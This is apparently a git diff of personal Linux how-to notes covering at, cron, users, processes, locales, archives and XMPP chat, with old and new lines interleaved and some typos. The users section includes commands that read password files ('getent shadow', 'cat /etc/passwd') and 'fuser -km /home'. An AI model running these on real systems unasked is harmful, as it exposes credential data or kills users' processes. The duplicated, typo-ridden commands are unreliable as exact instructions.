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38
README.md
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@ -26,44 +26,32 @@ The chronology should never branch.
If `gitea` can use three different types of database, the documentation should simply pick one and continue instructions from there.
Repetition works better than a reference - if a database requires three commands to set up, it's better to repeat those three commands for every program that requires a database than to just link to another file which discusses databases.
### Closing
Introductory documents should show anything required to cleanly uninstall a program, without leaving bulky configuration files behind.
## Three Input Types
There are three types of examples:
Fixed input:
```bash
ls
> ls
Arbitrary Input shows the non-fixed input in italics:
> ls *myFile.txt*
Output shows as unformatted text:
```
Anything with arbitrary input should be shown as a variable.
```bash
ls $FILE
LK img
Mail kn
Projects music
```
Non-commands (e.g. output) should be shown as quoted text:
> LK img
> Mail kn
> Projects music
# Example
```
How to see which websites you're actively accessing:
` ` `bash
ss -tr dst :$PORT
` ` `
> State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
> ESTAB 0 0 192.168.0.14:42476 149.154.167.91:https
> ESTAB 0 0 192.168.0.14:43644 104.17.90.199:https
> ss -tr dst :443
```
@ -88,5 +76,5 @@ This started as a few personal notes, and will probably continue to look like th
It's a bit of a mess.
Systemd is taken as a default.
Non-systemd commands are mentioned when required for a distro, e.g. runit for Void Linux.
Non-systemd commands we relegate to their respective distros, e.g. runit for Void Linux.

54
basics/at.md
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@ -4,45 +4,29 @@ tags: [ "Documentation", "Basics" ]
---
Install with:
```bash
sudo apt install at
```
> sudo apt install at
Enable the daemon service with:
```bash
sudo systemctl enable --now atd
```
> sudo systemctl enable --now atd
Then jobs can be specified with absolute time, such as:
```bash
at 16:20
```
> at 16:20
```bash
at noon
```
> at noon
```bash
at midnight
```
> at midnight
```bash
at teatime
```
> at teatime
Type in your command, e.g.:
```bash
touch /tmp/$FILE.txt
```
> touch /tmp/myFile.txt
The jobs can also be specified relative to the current time:
```bash
at now +15 minutes
```
> at now +15 minutes
Finally, accept the jobs with ^D.
@ -50,28 +34,24 @@ Finally, accept the jobs with ^D.
Display a list of commands to run with:
```bash
atq
```
> atq
> 2 Sat Oct 20 16:00:00 2018 a roach-1
`2 Sat Oct 20 16:00:00 2018 a roach-1`
This will print all pending IDs. Remove a job by the ID with:
```bash
atrm 2
```
> atrm 2
Check `/var/spool/atd/` to see the jobs.
Check /var/spool/atd/
## Automation
Automatically add a job for later, by setting the date, then using echo for the command.
```bash
t="$(date -d "2 minutes" +%R)"
echo "fortune > ~/$FILE" | at "$t"
watch cat $FILE
```
> t="$(date -d "2 minutes" +%R)"
> echo "fortune > ~/file" | at "$t"
> watch cat file
The `$t` here outputs the day in minutes, but you could also do `t="$(date -d "2 days" +%m/%d/%Y)"`.

213
basics/basics.md
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@ -9,136 +9,91 @@ Don't worry about understanding any of it, just type it in and the habit forms p
You start in a dark room. You want to know where you are by **p**rinting out your **w**orking '**d**irectory' (i.e. 'location'):
```bash
pwd
```
> pwd
Have a look at what is here:
```bash
ls
```
> ls
If you get no response, the list of items is "", meaning "nothing here".
Have a look at **a**ll the files:
```bash
ls -a
```
> ls -a
```bash
. ..
```
`. ..`
So `.` means 'here' and `..` means 'you see stairs leading downwards' (e.g. 'the directory behind you').
Change directory (`cd`) down one level:
```bash
cd ..
```
> cd ..
Look where you are again with `pwd`, then go back up. Use `ls`, and if you see `bob`, then:
```bash
cd bob
```
> cd bob
Move around the directories. The place at the bottom is the 'root', and is known as `/`. Go to the root:
```bash
cd /
```
> cd /
Do `ls` again and `cd` into `etc`. Look at how much space those folders are taking up:
Do `ls` again and change into `etc`. Look at how much space those folders are taking up:
```bash
du iptables
```
That's the number of kilobytes the file is taking up.
Do the same again, but in a human-readable format:
> du iptables
```bash
du -h iptables
```
That's the number of kilobytes the file is taking up. Do the same again, but in a human-readable format:
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands.
Have a look at the manual and try another command:
> du -h iptables
```bash
man du
```
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands. Have a look at the manual and try another command:
> man du
Once you're done, press 'q' to quit the manual page and try the extra `du` flag you've found.
Now you can try to gain super-powers and take over the system:
```bash
sudo -i
```
> sudo -i
At this point, you are 'root'.
All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine.
Best to exit out of the root account:
At this point, you are 'root'. All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine. Best to exit out of the root account:
```bash
exit
```
> exit
Go find a file that isn't a directory. You can tell which is which with:
```bash
ls -l
```
> ls -l
A directory starts with a 'd', like this:
```bash
drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/
```
`drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/`
A standard file starts with '-', like this:
```bash
`-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname`
```
Look inside the file /etc/hostname to find out your computer's name:
```bash
cat /etc/hostname
```
> cat /etc/hostname
Print out the words "hello world":
```bash
echo "hello world"
```
> echo "hello world"
Move back to your home directory:
```bash
cd
```
> cd
Take the words 'hello world', and put them in 'my_file':
```bash
echo 'hello world' > my_file
```
> echo 'hello world' > my_file
Measure the disk usage of that file, then put the results at the bottom of the file:
```bash
du $FILE >> $FILE
```
> du my_file >> my_file
And check the results:
```bash
cat $FILE
```
> cat my_file
# Autocompletion
@ -148,70 +103,50 @@ Press tab after typing a few keys and bash will guess what you're trying to typ
Look at your file's owner:
```bash
ls -l $FILE
```
> ls -l my_file
If it says `-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname` then the file is owned by 'root'.
Take your file and change the owner to root:
```bash
sudo chown root $FILE
```
> sudo chown root my_file
Change the same file so it's owned by the group 'audio':
```bash
sudo chown :audio $FILE
```
> sudo chown :audio my_file
Check you did that correctly:
```bash
ls -l my_file
```
> ls -l my_file
> -rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file
`-rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file`
Read the start of that line. Root can 'read' and 'write' to or delete the file. Try to remove (delete) it:
```bash
rm $FILE
```
> rm my_file
You'll see you're not allowed, because you don't own it.
Look at which groups you're in:
```bash
groups
```
> groups
Change the file so that members of the audio group can write to the file:
```bash
sudo chmod g+w $FILE
```
> sudo chmod g+w my_file
Check you got it right with `ls -l`:
```bash
-rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
```
> -rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
Try to delete the file again:
```bash
rm my_file
```
> rm my_file
If you can't, you're not in the audio group. Add yourself. You'll need to *modify* your *user account*, by **a**ppending 'audio' to your list of groups.
Use `-a` to **a**ppend, and `-G`, to say you're modifying groups:
```bash
sudo usermod -a -G audio [ your username here ]
```
> sudo usermod -a -G audio [ your username here ]
Now you should be able to remove (delete) the file. Remember, that using 'rm file' will not send it to a recycling bin. The file is gone.
@ -219,83 +154,59 @@ Now you should be able to remove (delete) the file. Remember, that using 'rm fi
Make a directory called 'new test':
```bash
mkdir 'new test'
```
> mkdir 'new test'
Make two directories, called 'A', and 'Z':
```bash
mkdir A Z
```
> mkdir A Z
Make a single directory called 'A Z'
```bash
mkdir 'A Z'
```
> mkdir 'A Z'
# Text Searches
Measure the disk usage of everything ('\*' means 'everything'), and put it in a file called 'disk usage.txt':
```bash
du -sch * > A/'disk usage'.txt
```
> du -sch * > A/'disk usage'.txt
Look at your file:
```bash
cat A/'disk usage.txt'
```
> cat A/'disk usage.txt'
If you think you have too much information, use `grep` to just get the one line of text you want:
```bash
grep total A/disk\ usage.txt
```
> grep total A/disk\ usage.txt
The `grep` program also has a manual ('man page'). You should find out what that `-c` flag does, but the manual is too long to read.
Start the manual:
```bash
man du
```
> man du
Then search for `-c` by pressing `/`. Your final keys should be `man du`, then `/-c`
Find out if the `ls` program also has a 'human readable' format by using `grep` to search for the word 'human':
```bash
man ls | grep human
```
> man ls | grep human
Now use that flag that you've found in combinatin with the `-l` flag to look at a file.
Remove the directory 'Z':
```bash
rmdir Z
```
> rmdir Z
Remove the directory 'Z':
```bash
rmdir Z
```
> rmdir Z
And then remove all the rest:
```bash
rmdir *
```
> rmdir *
The 'A' directory will not budge because it's not empty. Remove it recursively, so the computer will remove the things inside the directory as well as the directory itself:
```bash
rm -r A
```
> rm -r A
# Installation
@ -303,48 +214,34 @@ You get a package manager which installs programs, fonts, et c.
If you're on something like Debian, you'll have `apt`, or if you're on something like Red Hat, you'll have `yum`.
If unsure, ask where a program is:
```bash
whereis yum
```
> whereis yum
```bash
whereis apt
```
> whereis apt
If you get a hit, you can use whatever program that is to install things.
Set a reminder of your package manager:
```bash
echo my package manager is yum | lolcat
```
> echo my package manager is yum | lolcat
If that failed it's because you don't have `lolcat` installed.
Install lolcat:
```bash
sudo apt install lolcat
```
> sudo apt install lolcat
Try the same command again.
Search for things you want, like `libreoffice`, or `gimp`:
```bash
apt search libreoffice
```
> apt search libreoffice
... then install one of them with:
```bash
apt install $PROGRAM
```
> apt install [ thing ]
Remove `lolcat`, because it's useless:
```bash
sudo apt remove lolcat
```
> sudo apt remove lolcat
... and that's pretty much it. You can move, create, destroy, install things, and look things up.

36
basics/clock.md
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@ -5,39 +5,27 @@ tags: [ "Documentation", "Basics" ]
Show system time:
```bash
date
```
> date
Show hardware time:
```bash
sudo hwclock -r
```
> sudo hwclock -r
Change system time to match hardware time:
```bash
sudo hwclock --hctosys
```
> sudo hwclock --hctosys
Change hardware time to match system time:
```bash
sudo hwclock --systohc
```
> sudo hwclock --systohc
Manually set the hardware time to a specified date:
```bash
sudo hwclock --set --date="8/25/19 13:30:00"
```
> sudo hwclock --set --date="8/25/19 13:30:00"
## Normal Date
```bash
date +%d/%m/%y
```
> date +%d/%m/%y
# Unix Time
@ -45,9 +33,7 @@ Computers started counting time on January 1st, 1970, and added one second-per-s
Track the time in Unix-time:
```bash
date +%s
```
> date +%s
# Network Time Providers
@ -55,13 +41,9 @@ Servers which take their time from an observatory we call Stratum 1 servers. Se
Install ntp with:
```bash
sudo apt-get install -y ntp
```
> sudo apt-get install -y ntp
The shell command for this is `ntpq`. Monitor the service providers using:
```bash
ntpq -p
```
> ntpq -p

27
basics/conditionals.md
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@ -41,28 +41,29 @@ case $CRE in
owlbears | monsters ) echo "Really you're a wizard fan"
;;
esac
```
# While and Until
This prints from 1 until 9.
```bash
COUNTER=1
while [ $COUNTER -lt 2 ]; do
> COUNTER=1
> while [ $COUNTER -lt 2 ]; do
> ((COUNTER++))
> echo $COUNTER
> done
```
There's also 'until', which stops when something is true, rather than keeping going when something is true.
# For
```bash
for i in $( ls ); do
> for i in $( ls ); do
> du -sh $i
> done
```
# Sequences
@ -70,19 +71,13 @@ The sequences tool counts up from X in jumps of Y to number Z.
Count from 1 to 10.
```bash
seq 10
```
> seq 10
Count from 4 to 11.
```bash
seq 4 11
```
> seq 4 11
Count from 1 to 100 in steps of 5.
```bash
seq 1 5 100
```
> seq 1 5 100

51
basics/cron.md
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@ -6,29 +6,24 @@ tags: [ "Documentation", "Basics" ]
The crontab program might have various names, like `cronie` or `crond`.
```bash
sudo apt search -n ^cron
```
> sudo apt search -n ^cron
Once installed, search for the service name, and start it.
```bash
sudo systemctl list-unit-files | grep cron
```
> sudo systemctl list-unit-files | grep cron
```bash
sudo systemctl enable --now cron
```
> sudo systemctl enable --now cron
You can *e*dit your crontab with:
```bash
crontab -e
> crontab -e
```
39 */3 * * * /usr/bin/updatedb
> 39 */3 * * * /usr/bin/updatedb
```
## Syntax
`* * * * *`
@ -39,33 +34,29 @@ These five points refer to:
So '3pm every Sunday' would be:
> 0 15 * * 7
`0 15 * * 7`
Here 'Sunday' is indicated by "7", and '3pm' is 'the 15th hour'.
The minute is '0' (i.e. '0 minutes past three pm').
Doing the same thing, but only in February, would be:
> 0 15 * 2 7
`0 15 * 2 7`
### Full Paths
Executing something requires the full path to where it is, so you cannot simply use `apt update -y`, because cron does not know where `apt` is.
Instead, find out where it is:
```bash
type -P apt
```
> type -P apt
`/usr/bin/apt`
Then put that into the crontab:
```bash
sudo crontab -e
```
> sudo crontab -e
> 40 */3 * * * /usr/bin/apt update -y
`40 */3 * * * /usr/bin/apt update -y`
This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour, e.g. 00:40, 03:40, 06:40.
@ -74,17 +65,13 @@ This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour
You can execute a script as root by putting it into a directory, instead of in the tab.
Look at the available cron directories:
```bash
ls /etc/cron.\*
```
> ls /etc/cron.\*
### Testing with runparts
Run-parts runs all executable scripts in a directory.
```bash
run-parts /etc/cron.hourly
```
> run-parts /etc/cron.hourly
## Tips
@ -97,16 +84,12 @@ First add `HOME=/home/user`, then you can use syntax like this:
*Remember to test the script by executing that line first*:
```bash
$HOME/.scripts/myScript.sh
```
> $HOME/.scripts/myScript.sh
You can also add your regular path to your crontab as a variable (see example below).
If you're using vim as the editor, just run this at the top of your crontab:
```bash
:r!echo PATH=$PATH
```
> :r!echo PATH=$PATH
### `date` Commands

16
basics/kernel.md
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@ -10,25 +10,17 @@ Kernel modules live in lib/modules/$(uname -r)
Load them with
```bash
sudo modprobe ath9k
```
> sudo modprobe ath9k
Or remove one with
```bash
sudo modprove uvcvideo
```
> sudo modprove uvcvideo
The PC's irritating speaker beep can be really annoying. Disable it with:
```bash
sudo modprobe -r pcspeaker
```
> sudo modprobe -r pcspeaker
Permanently disable a module by blacklisting it in `/etc/modprobe.d`:
```bash
echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
```
> echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf

34
basics/kill.md
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@ -7,9 +7,7 @@ If you want to kill a program in a graphical environment, open a terminal and ty
# Graphical Programs
```bash
xkill
```
> xkill
Then click on the application which you want to kill.
@ -17,31 +15,23 @@ Then click on the application which you want to kill.
To kill a program, find it with:
```bash
pgrep discord
```
> pgrep discord
This will give you the UUID, e.g. `19643`.
Kill the program with:
```bash
kill 19643
```
> kill 19643
# Types of Kill
To see an ordered list of termination signals:
```bash
kill -l
```
> kill -l
> 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
> 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
> 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
You can select these levels with a '- number'.
@ -49,24 +39,18 @@ Higher numbers are roughly equivalent to insistence.
For example:
```bash
kill -1 3498
```
> kill -1 3498
This roughly means 'maybe stop the program, if you can, maybe reload'.
Or the famous:
```bash
kill -9 3298
```
> kill -9 3298
This means 'kill the program dead, now, no questions, dead'.
**Beware** - if Firefox starts another program to connect to the internet, and you `kill -9 firefox`, this will leave all of Firefox's internet connection programs ("children") still there, but dead and useless.
# Sobriquets
- A dead program which sits there doing nothing is known as a 'zombie'.
- A program which is run by another program is called a 'child program'.
- A child whose parent program is dead is called an 'orphan'.

8
basics/links.md
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@ -4,16 +4,12 @@ tags: [ "Documentation", "Basics" ]
---
Link from X to Y.
```bash
ln -s X ../otherdir/Y
```
> ln -s X ../otherdir/Y
If you want a hard link, this will make a single file exist in two locations.
If it is deleted in one location, it continues to exist in the other.
```bash
ln *X* *Y*
```
> ln *X* *Y*
Both files must be on the same hard drive, as they have the same inode (check this with `ls -i file`).

21
basics/locale.md
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@ -3,40 +3,29 @@ title: "locale"
tags: [ "Documentation", "Basics" ]
---
Your locale tells the computer your location, preferred time-and-date format, standard language, papersize, et c.
A list of supported locales is available at /usr/share/i18n/SUPPORTED
See a full list with:
```bash
cat /usr/share/i18n/SUPPORTED
```
> cat /usr/share/i18n/SUPPORTED
Take the first portion to generate full locale information for a region:
```bash
locale-gen ru_RU.UTF-8
```
> locale-gen ru_RU.UTF-8
Then use this for the current shell session with
```bash
LANG=ru_RU.utf8
```
> LANG=ru_RU.utf8
Expand this to the entire system with:
```bash
export LANG=ru_RU.utf8
```
> export LANG=ru_RU.utf8
You can make this permanent for one user by adding this line to the ~/.profile or ~/.bashrc.
Make it permanent for the entire system by editing:
```bash
sudo vim /etc/defaults/locale
```
> sudo vim /etc/defaults/locale
# Variables

16
basics/locating.md
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@ -6,9 +6,7 @@ tags: [ "Documentation", "Basics" ]
`type` shows what kind of thing you're running, be it an alias, function, or binary program.
```bash
type cmus
```
> type cmus
# Whereis the Program
@ -18,24 +16,18 @@ Ask where the `angband` program is, along with all its configuration files:
Also `which` shows where a binary file (the program) is,
```bash
which cmus
```
> which cmus
# Quick Search for Files
You'll need to set up `locate` for this by installing `mlocate`.
`mlocate` needs a list of all files on the machine, so run:
```bash
sudo updatedb
```
> sudo updatedb
Then to find a file called 'my-cats.jpg', run:
```bash
locate cats
```
> locate cats
For best results, run `updatedb` regularly, perhaps in crontab.

52
basics/processes.md
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@ -6,33 +6,23 @@ tags: [ "Documentation", "Basics" ]
See running items in current terminal with
```bash
ps
```
> ps
or more with
```bash
ps -a
```
> ps -a
Or the entire system with
```bash
ps -e
```
> ps -e
Or the entire system with more information, BSD style, with:
```bash
ps aux
```
> ps aux
And then search for a particular program with
```bash
ps aux | grep cmus
```
> ps aux | grep cmus
# Jobs
@ -40,21 +30,15 @@ Pause a job with ^z. Put it in the background with the '&' suffix.
List jobs in the current shell with
```bash
jobs
```
> jobs
And then you can pull number 1 up again with
```bash
fg 1
```
> fg 1
Or continue running a stopped job with:
```bash
bg 1
```
> bg 1
# Nice
@ -62,31 +46,21 @@ This changes how nice a program is, from -20 to 19.
Install a program, but nicely, at nice value '10':
```bash
nice -10 sudo apt -y install libreoffice
```
> nice -10 sudo apt -y install libreoffice
Aggressively use Steam, with a nice value of '-13'.
```bash
nice --13 steam&
```
> nice --13 steam&
Find out that Steam's fucking everything up, so you change its nice value with 'renice':
```bash
renice --5 -p 3781
```
> renice --5 -p 3781
Nerf all of roach-1's processes:
```bash
renice 10 -u roach-1
```
> renice 10 -u roach-1
... or the entire group
```bash
renice -14 -g hackers
```
> renice -14 -g hackers

32
basics/time.md
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@ -6,9 +6,7 @@ tags: [ "Documentation", "Basics" ]
Set time to synchronize with an ntp server:
```bash
timedatectl set-ntp true
```
> timedatectl set-ntp true
This info stays in `/usr/share/zoneinfo`.
@ -18,9 +16,7 @@ Local time is kept in /etc/localtime.
According to Dave's LPIC guide, you can set the local time by making asymboling link from your timezone to /etc/localtime, as so:
```bash
sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```
> sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
...however this produced the wrong time for me. Further, /etc/localtime produces an output with cat, while the zoneinfo files do not.
@ -28,33 +24,23 @@ sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
See local time, language and character settings with:
```bash
locale
```
> locale
List available locales with:
```bash
locale -a
```
> locale -a
To see additional locales which are available (but not necessarily installed):
```bash
cat /usr/share/i18n/SUPPORTED
```
> cat /usr/share/i18n/SUPPORTED
Set a supported locale with:
```bash
locale-gen pl_PL.UTF-8
```
> locale-gen pl_PL.UTF-8
Then set that language, with:
```bash
LANG=pl_PL.UTF-8
```
> LANG=pl_PL.UTF-8
... then reboot.
@ -62,9 +48,7 @@ LANG=pl_PL.UTF-8
Glimpse an overview with:
```bash
ntpq -p
```
> ntpq -p
Usually this is run as a service, so just start that service.

158
basics/users.md
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@ -6,133 +6,91 @@ tags: [ "Documentation", "Basics" ]
Let's get some entries with 'getent', e.g. passwd or group.
```bash
getent passwd
```
> getent passwd
```bash
getent group
```
> getent group
Obviously:
```bash
getent shadow
```
> getent shadow
## Examples
```bash
sudo adduser maestro
```
> sudo adduser maestro
add user 'maestro'
This depends upon the settings in the /etc/default/useradd file and /etc/login.defs
```bash
sudo useradd -m pinkie
```
> sudo useradd -m pinkie
add user 'pinkie' with a home directory
```bash
sudo adduser -m -e 2017-04-25 temp
```
> sudo adduser -m -e 2017-04-25 temp
add expiry date to user
```bash
userdel maestro
```
> userdel maestro
delete maestro
```bash
userdel -r maestro
```
> userdel -r maestro
delete maestro and hir homefolder
```bash
groups
```
> groups
find which group you are in
```bash
id
```
> id
same
```bash
id -Gn maestro
```
> id -Gn maestro
Find which groups maestro is in
```bash
deluser --remove-home maestro
```
> deluser --remove-home maestro
delete user maestro
```bash
usermod -aG sudo maestro
```
> usermod -aG sudo maestro
Add user maestro to group sudo:
add user maestro to group sudo
```bash
cat /etc/passwd
```
> cat /etc/passwd
list users' passwords (and therefore users)
```bash
groupadd awesome
```
> groupadd awesome
create the group 'awesome'
Passwords are stored in /etc/shadow.
passwords are stored in /etc/shadow.
There are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
there are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
```bash
passwd -l bin
```
> passwd -l bin
Lock the user 'bin'.
lock the user 'bin'
```bash
more /etc/passwd | grep games
```
> more /etc/passwd | grep games
we find the name, password and user id of the user 'games'. I.e. the password is 'x', and the user id is '5'. The password is an impossible hash, so no input password could match.
```bash
groupdel learners | delete the group 'learners'
```
> groupdel learners | delete the group 'learners'
```bash
gpasswd -d pi games | remove user 'pi' from the group 'games'
```
> gpasswd -d pi games | remove user 'pi' from the group 'games'
```bash
id games
```
> id games
find the id number of group 'games' (60)
```bash
usermod -aG sudo maestro
```
> usermod -aG sudo maestro
add user to group 'maestro'
@ -156,9 +114,7 @@ Alternatively, change the shell in /etc/passwd.
Usermod also lets you change a user's username:
```bash
usermod -l henry mark
```
> usermod -l henry mark
However, this will not change the home directory.
@ -170,9 +126,7 @@ usermod -L henry
-G or -groups adds the user to other groups:
```bash
usermod -G sudo henry
```
> usermod -G sudo henry
-s adds the user to a shell.
@ -186,53 +140,45 @@ In /etc/group, a group file may look like this:
We can use groupmod, like like usermod, e.g. to change a name:
```bash
groupmod -n frontoffice backoffice
```
> groupmod -n frontoffice backoffice
Delte a group:
```bash
groupdel frontoffice
```
> groupdel frontoffice
# Logins
See list of logged on users.
```bash
w
```
> w
See last logons:
```bash
last
```
> last
or all logon attempts, including bad attempts:
```bash
lastb
```
> lastb
List recently accessed files:
```bash
last -d
```
> last -d
See files opened by steve
```bash
lsof -t -u steve
```
> lsof -t -u steve
See files opened by anyone but steve
```bash
lsof -u ^steve
```
> lsof -u ^steve
Fuser can also track people loggingin:
> fuser /var/log/syslog
... and fuser can kill everything accessing the home directory:
> fuser -km /home
# Looking for Dodgy Files
@ -240,29 +186,21 @@ Some files can be executed by people as if they had super user permissions, and
Let's start with files executable by user:
```bash
sudo find / -type f -perm -g=s -ls
```
> sudo find / -type f -perm -g=s -ls
And then those executable by the group:
```bash
find / -type f -perm -g=s -ls
```
> find / -type f -perm -g=s -ls
And finally, worrying files, executable by anyone as if sie were the owner:
```bash
find / -xdev \( -o -nogroup \) -print
```
> find / -xdev \( -o -nogroup \) -print
Then have a look at resource usage per user.
# SGID
#SGID
```bash
sudo chmod u+s process.sh
```
> sudo chmod u+s process.sh
This will modify process.sh to that instead of being simply executable, anyone executing it will have the permissions as if owner while executing it.

116
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@ -6,33 +6,23 @@ tags: [ "Documentation", "Chat" ]
Sign up to an account somewhere.
```
/connect bob@bobserver.org
```
> /connect bob@bobserver.org
Check if someone wants to be your friend:
```
/sub received
```
> /sub received
Accept a friend's subscription request:
```
/sub add alice@aliceserver.org
```
> /sub add alice@aliceserver.org
Join a room:
```
/join room1@bobserver.org
```
> /join room1@bobserver.org
Save your configuration so you don't have to do this again:
```
/save
```
> /save
Check your `~/.config/profanity/profrc` for how to data's saved.
@ -40,17 +30,11 @@ Check your `~/.config/profanity/profrc` for how to data's saved.
To automatically sign in, add your password to [pass](../data/pass.md).
```
/account set *malin@oosm.org* eval_password pass *xmpp*
```
> /account set *malin@oosm.org* eval_password pass *xmpp*
```
/autoconnect set *malin@oosm.org*
```
> /autoconnect set *malin@oosm.org*
```
/save
```
> /save
Remember to save the config for other commands too.
@ -58,9 +42,7 @@ Remember to save the config for other commands too.
## Messages
```
/msg alice@aliceserver.org
```
> /msg alice@aliceserver.org
This opens in a new tab.
Switch tabs with alt+number.
@ -69,109 +51,75 @@ Switch tabs with alt+number.
The [docs](https://profanity-im.github.io/guide/0131/reference.html) are massive, so it's often better to use:
```
/help <Tab>
```
> /help <Tab>
## Editing
For long text, you can use vim:
```
/executable editor set vim
```
> /executable editor set vim
```
/editor
```
> /editor
## Sending & Receiving Files
Tell it how to save files:
```
/executable urlsave set "wget %u -O %p"
```
> /executable urlsave set "wget %u -O %p"
Then get the file with:
```
/urlsave *<Tab>*
```
> /urlsave *<Tab>*
Same for `/urlopen`
## Theme
```
profanity
```
> profanity
```
/theme list
```
> /theme list
```
theme load batman
```
> theme load batman
# Encryption
## omemo
```
/omemo gen
```
> /omemo gen
```
/omemo start
```
> /omemo start
You can accept everyone's fingerprint all the time with
```
/omemo trustmode firstusage
```
> /omemo trustmode firstusage
This will still encrypt, but there will be no check that you have the right person the first time you speak with someone.
You can ensure omemo automatcally turns on:
```
/omemo policy automatic
```
> /omemo policy automatic
## otr
Install libotr-dev or libotr5-dev or whatever..
```
sudo apt -y install lib5otr-dev
```
> sudo apt -y install lib5otr-dev
Make your otr keys.
```
/otr gen
```
> /otr gen
Then you can start an otr converstation.
```
/otr start bob@jobbies.org
```
> /otr start bob@jobbies.org
Or if you already have a conversation windows open, switch to our using:
```
/otr
```
> /otr
Finally, verify!
```
/otr question "Who are you?" bob
```
> /otr question "Who are you?" bob
Bob is verified upon the answer, 'bob'.
@ -179,15 +127,9 @@ Bob is verified upon the answer, 'bob'.
Get yours with
```
/otr myfp
```
> /otr myfp
```
/otr theirfp
```
> /otr theirfp
```
/otr myfp
```
> /otr myfp

16
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@ -5,25 +5,17 @@ tags: [ "Documentation", "Chat" ]
See available pastebins:
```bash
wgetpaste -S
```
> wgetpaste -S
Upload script.sh to bpaste:
```bash
wgetpaste -s bpaste script.sh
```
> wgetpaste -s bpaste script.sh
Input clipboard to dpaste with the heading "Title"
```bash
wgetpaste -s dpaste -d Title -x
```
> wgetpaste -s dpaste -d Title -x
Paste in the file then load the result to the right-hand clipboard:
```bash
wgetpaste -s dpaste -X
```
> wgetpaste -s dpaste -X

73
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@ -1,79 +1,26 @@
---
title: "Archives"
tags: [ "Documentation", "tar", "backups" ]
title: "archives"
tags: [ "Documentation", "backups" ]
---
# `tar`
# GPG Archives
## Create
Create an encrypted archive with `gpg`:
Combine many files and directories into a single t-archive file.
> tar czvpf - file1.txt file2.pdf file3.jpg | gpg --symmetric --cipher-algo aes256 -o myarchive.tar.gz.gpg
```bash
tar cf "$ARCHIVE".tar $DIR
```
You can remember this with the mnemonic '*C*reate *F*ile'.
And extract it with `gpg`:
Unfortunately, this stores the full file path, so making a tar archive of `/etc/nginx/` will store `etc/nginx` (without the leading `/`.
It's often better to tell tar which path to start from using the `-C` flag.
```bash
tar cf "$ARCHIVE".tar -C /etc/ nginx
```
Check the contents of your archive with:
```bash
tar tf "$ARCHIVE".tar
```
If you want to store 'everything in a directory', then using `*` will not work, because it will target everything in the *current* directory.
Instead, you can store the target in a variable:
```bash
files=$(ls /etc/nginx)
tar cf "$ARCHIVE".tar -C /etc/nginx/ $file
```
## Extract
Extract the tar archive with
> tar xf "$ARCHIVE".tar
You can remember this with the mnemonic 'e*X*tract *F*ile'.
## Compress
Create a zip-compressed archive with the `z` flag.
```bash
tar czf "$ARCHIVE".tgz -C /etc/nginx/ $file
```
You can use any file ending you want, but sane people like to use '.tgz' or '.tar.tgz'.
> gpg -d myarchive.tar.gz.gpg | tar xzvf -
# 7zip
(also called 'p7zip' or '7z')
Make archive:
```bash
PASSWORD=my_password
```
```bash
7za a -tzip -p$PASSWORD -mem=AES256 $ARCHIVE.zip $FILE_1 $FILE_2
```
> 7za a -tzip -pPASSWORD -mem=AES256 archive.zip file1 file2
Note that people can still see every filename in your archive, and can change those files.
They just can't read the contents.
Unzip:
```bash
7za x archive.zip
```
> 7za e archive.zip
7zip will open anything: zip-files, rar-files, a tin of beans, *anything*.
However, the extracted tgz files will just be tar files, so you will still need to use tar to extract them (see above).

31
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@ -5,36 +5,28 @@ tags: [ "Documentation", "Backups" ]
Install unison on both machines, and make sure both have the same version of unison, with the same version of the ocaml compiler (the smallest difference will cause problems).
```bash
unison -version
```
> unison -version
Create the `~/.unison` directory on both machines.
Make a job called `backup`:
```bash
JOB=backup
> vim ~/.unison/*backup*.prf
You can name the file anything, but it must end in .prf.
Here is an example job, which synchronizes the `~/music` directory with a remote machine.
```
Here is an example job, which synchronizes the `~/music` directory with a remote machine which has the same username.
```bash
echo "
auto = true
root=$HOME
root=ssh://$USER@$IP_ADDRESS/$HOME
root=/home/ghost
root=ssh://ghost@192.168.0.10//home/ghost/
path=music
ignore=Name *.flac
" > ~/.unison/"$JOB".prf
```
Remember to specify `$IP_ADDRESS`
The last command means it will ignore any file with a name ending in `.flac`.
## Automatic Runs
@ -42,12 +34,11 @@ The last command means it will ignore any file with a name ending in `.flac`.
The first command means this will run but also confirm which files will be deleted, and which will be transferred, us `batch = true` instead.
Or you can deleted that line in the `.prf` file and run it with a flag:
```bash
unison -batch *backup*.prf
```
> unison -batch *backup*.prf
Set unison to run with crontab or a systemd unit file to have directories synchronize automatically.
## Problem Solving
You will see data files summarizing what has happened in the `~/.unison` directory.

8
data/base_16.md
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@ -1,8 +0,0 @@
---
title: "Base 16"
tags: [ "Documentation", "Data" ]
---
```bash
printf "%x" $NUMBER
```

12
data/git-lfs.md
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@ -5,20 +5,14 @@ tags: [ "Documentation", "data" ]
Install, and add with
```bash
git lfs install
```
> git lfs install
Then track some filetype with:
```bash
git lfs track "\*.ttf"
```
> git lfs track "\*.ttf"
